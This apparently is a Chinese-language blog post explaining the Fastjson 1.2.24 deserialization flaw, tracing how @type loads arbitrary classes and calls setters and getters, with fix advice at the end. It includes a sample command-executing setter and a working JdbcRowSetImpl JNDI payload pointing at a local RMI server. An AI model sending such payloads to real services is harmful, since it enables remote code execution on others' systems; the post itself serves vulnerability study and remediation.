Fastjson反序列化漏洞原理

Fastjson反序列化漏洞原理

前言

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

Fastjson 是个非常流行的库,出现了漏洞造成的危害也特别大。json直白来说就是一串字符串,最原始的需求就是把键值对提取出来,作为一个json解析的库,可能很多人都会好奇它为什么会有代码执行之类的功能。本篇文章主要分析Fastjson产生代码执行漏洞的原因,和fastjson漏洞的执行过程。

Fastjson反序列化原理分析

首先先来搭建环境,在pom.xml中导入fastjson的依赖,这里先导入发现的版本1.2.24

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

可以看到,这个库主要是用来做字符串解析的工作

image-20230527204628731

一个json库肯定不满足这个最简单的功能,很多开源的包都想要支持的功能足够多。fastjson支持将字符串反序列化成JavaBean,试一下效果,写一个Person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class Person {
private int age;
private String name;

public Person() {
System.out.println("constructor");
}

public void getAge(int age) {
System.out.println("getAge");
this.age = age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}
}

可以看到fastjson实例化一个对象,调用了构造函数,也会根据传入的值,调用set方法赋给这个对象。

image-20230527211314779

这种方法其实也没有安全问题,因为它指定了对象的类型,这里我们只能反序列化成Person对象。但是fastjson有一个特性,根据你传入的不同字符串,去反序列化成不同的类。

如下面这个例子,fastjson根据传入的字符串,按照Person类,解析、实例化、赋值、调用这些过程全部走了一遍,set和get方法全都调用了。这个参数不是服务端控制反而是客户端能去控制的,这个行为听上去特别像一句话木马,传入不同的字符串就能执行不同的代码。设计上看特别像后门。

image-20230527214921728

​ 这就是fastjson提供的一个功能,这个功能就导致了后续的一系列问题。

断点看看调用流程,首先调用一个接受string的parseObject方法,实际上调用parse方法后返回的就是Person对象

字符串传进去会调用DefaultJSONParser进行解析,这个features参数可以指定解析时的一些要求,比如能否使用单引号,空格如何处理等规则。

image-20230527233222628

接下来就parser去进行解析,JSON解析就是字符串挨个去匹配,这里是switch来匹配

image-20230528092533898

读到key之后,会判断key值是不是特殊字符,如果匹配到DEFAULT_TYPE_KEY,也就是@type,就会进行java的反序列化,不仅仅是json的反序列化。

image-20230527235431142

如果是@type就会加载loadClass这个方法,看1000行,首先会从缓存里面找,然后经过一系列的处理,总之就是获取上下文的ClassLoader,然后将它放在缓存里。

image-20230528005043203

接下来就进入到了解析java对象的环节,首先获取反序列化器,第二部用反序列化器来进行反序列化,这一步做完回来的就是Person了。

image-20230528002512116

我们来看看fastjson是如何进行反序列化的,它的构造里有很多内置类对应的反序列化器。

image-20230528005856999

最后也是一堆判断,判断都不满足的话,就会按照javeBean来解析

进入到createJavaBeenDeserializer这个方法中,有一个JaveBeanInfo的函数,它在创建类对应的反序列化器的时候,把类里面的构造函数,getter,setter都获取,组成一个beaninfo

image-20230528011927680

进入build方法,可以看到这里获得了所有的字段

image-20230528102257161

接着往下走,会经过几个遍历,第一遍遍历是找所有的setter方法,第二遍遍历是找所有public或者static的Field,第三遍遍历是找所有满足条件的getter(Map、Collection等等)

image-20230528012549035

进入一个遍历看一下,条件是长度大于4,不是Static,返回值是Void

image-20230528021650395

遍历以后可以看到beaninfo已经有了我们要的字段,同时这个字段对应的set方法也获得到了

image-20230528100017554

调用构造函数之后,通过setValue完成赋值,调用set方法

image-20230528014054441

前面我们看到还会调用getter方法,这个在哪调用了呢?可以看到,前面把字符串json转换成了对象,这里还会把json对象转换成json字符串,在这里调用了getter。

image-20230528015425451

可以看到这里就调用了invoke,执行调用了getAge方法。

image-20230528113727366

总结一下流程:fastjson解析的时候,会用反序列化器进行解析,调用构造方法,赋值的时候通过setter方法进行赋值。用了parseObject方法,会调用toJSON方法,把所有的getter方法都调用一遍。

知道了代码的调用流程以后,漏洞利用的点就显而易见了。

找到一个setXXX函数,这个函数里有危险方法,就可以作为fastjson的攻击链了。

举一个例子,假设有一个危险类test

1
2
3
4
5
public class test {
public void setCmd(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
}

运行,成功利用!image-20230528100822669

Fastjson1.2.24漏洞复现

这个版本主要有两条链子,一条是基于JdbcRowSetImpl的链子,另一条是基于BasicDataSource的链子。

先来看JdbcRowSetImpl这一条链子,看到是标准jndi注入的攻击方式,并且满足变量DataSource可控,有对应的setter方法。

image-20230528122646200

实际的利用需要自己先启动一个Server,然后把恶意类放到vps上。这里为了方便,我们可以通过Yaki建一个反连服务器,设置Payload。

image-20230528104039948

成功验证,直接执行了clac,还是很方便的。

这条链子是JNDI注入,会受版本限制、依赖限制,并且需要出网外联。

image-20230528134756487

在真实的环境中,只需要将请求的JSON字符串改成精心制造的即可。

1
2
3
4
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:8899/Exploit", "autoCommit":true
}

JdbcRowSetImpl这条链子可以理解为远程的动态类加载,接下来要讲的BasicDataSource这条链是本地类加载。

这条链子目标需要引入tomcat依赖,还算是比较常见。

BCEL作为字节码传入new ClassLoader().loadClass(code).newInstance();将会被实例化,当我们在Fastjson反序列化中构造出这种链,将会造成反序列化漏洞

image-20230528122526040

想要在Fastjson中利用的话,需要fastjson反序列化过程中执行到这个操作。而在BasicDataSource中正好有一个能够利用的点。其中driverClassLoaderdriverClassName都是可控的。

image-20230528135859782

往上查找引用,能在getConnetcion方法中看到调用

image-20230528140558437

构造Payload,成功执行执行命令。

image-20230528142239761

这一条链子主要是不出网的打法,不需要开启特殊的参数,适用范围较广。还有一条TemplatesImpl链子,需要开启Feature.SupportNonPublicField,实战中适用范围较小,此处不展开分析。

修复建议

  1. 升级Fastjson至最新安全版本
  2. 配置AutoType黑白名单

小结

本章浅谈了FastJson产生漏洞的原因,并走了Fastjson在低版本常见的两条利用链。Fastjson的漏洞核心其实就是可以加载任意类,所以后续的版本也是一直在完善黑名单,大佬们不断加以亿点点的技巧,用不可能的姿势完成新版本利用。

受限于篇幅,未能对已公开的几种 gadget 进一步的分析复现。希望本文能起到抛砖引玉的作用,如有错误之处,欢迎各位师傅们指点交流,不胜感激。

参考连接:

[1] https://github.com/alibaba/fastjson/wiki/Quick-Start-CN

[2] https://github.com/Y4tacker/JavaSec/tree/main/3.FastJson%E4%B8%93%E5%8C%BA

[3] https://www.bilibili.com/video/BV1pP411N726

[4] https://johnfrod.top/%e5%ae%89%e5%85%a8/fastjson%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e2-1-2-24%e7%89%88%e6%9c%ac/